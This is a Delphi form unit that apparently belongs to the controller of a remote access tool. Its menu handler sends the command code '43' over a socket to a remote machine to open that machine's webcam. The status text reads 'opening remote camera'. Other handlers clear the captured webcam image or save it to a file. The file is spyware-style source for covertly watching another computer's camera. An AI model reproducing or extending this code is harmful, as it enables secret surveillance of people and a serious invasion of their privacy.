📄 unit10.pas
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unit Unit10;
interface
uses
Windows, Messages, SysUtils, Variants, Classes,winsock, Graphics, Controls, Forms,
Dialogs, ComCtrls, Menus, ExtCtrls, StdCtrls;
type
TForm10 = class(TForm)
PopupMenu1: TPopupMenu;
N1: TMenuItem;
N2: TMenuItem;
StatusBar1: TStatusBar;
Edit1: TEdit;
Image1: TImage;
N3: TMenuItem;
SaveDialog1: TSaveDialog;
StatusBar2: TStatusBar;
Edit2: TEdit;
Edit3: TEdit;
procedure N1Click(Sender: TObject);
procedure N3Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form10: TForm10;
implementation
uses untMain;
{$R *.dfm}
procedure TForm10.N1Click(Sender: TObject);
var
f:string;
sock:integer;
begin
edit2.text:=extractfilepath(paramstr(0))+'webcam1.bmp';
edit3.text:=extractfilepath(paramstr(0))+'webcam.bmp';
deletefile(pchar(edit2.text));
deletefile(pchar(edit3.text));
image1.Picture:=nil;
form10.N1.Enabled :=false;
sock:=strtoint(statusbar2.Panels[0].text);
f:='43';
send(sock,f[1],2,0);
form10.StatusBar1.Panels[0].Text :='正在打开远程摄像头... ';
end;
procedure TForm10.N3Click(Sender: TObject);
begin
image1.Picture :=nil;
form10.StatusBar1.Panels[0].Text :='图像清空完成.';
end;
procedure TForm10.N2Click(Sender: TObject);
begin
if savedialog1.Execute then
if copyfile(pchar(edit3.text),pchar(savedialog1.filename),false) then
form10.StatusBar1.Panels[0].Text :='图像文件保存成功.'
else
form10.StatusBar1.Panels[0].Text :='图像文件保存失败.';
end;
procedure TForm10.FormClose(Sender: TObject; var Action: TCloseAction);
begin
frmmain.edit2.text:='6';
end;
end.
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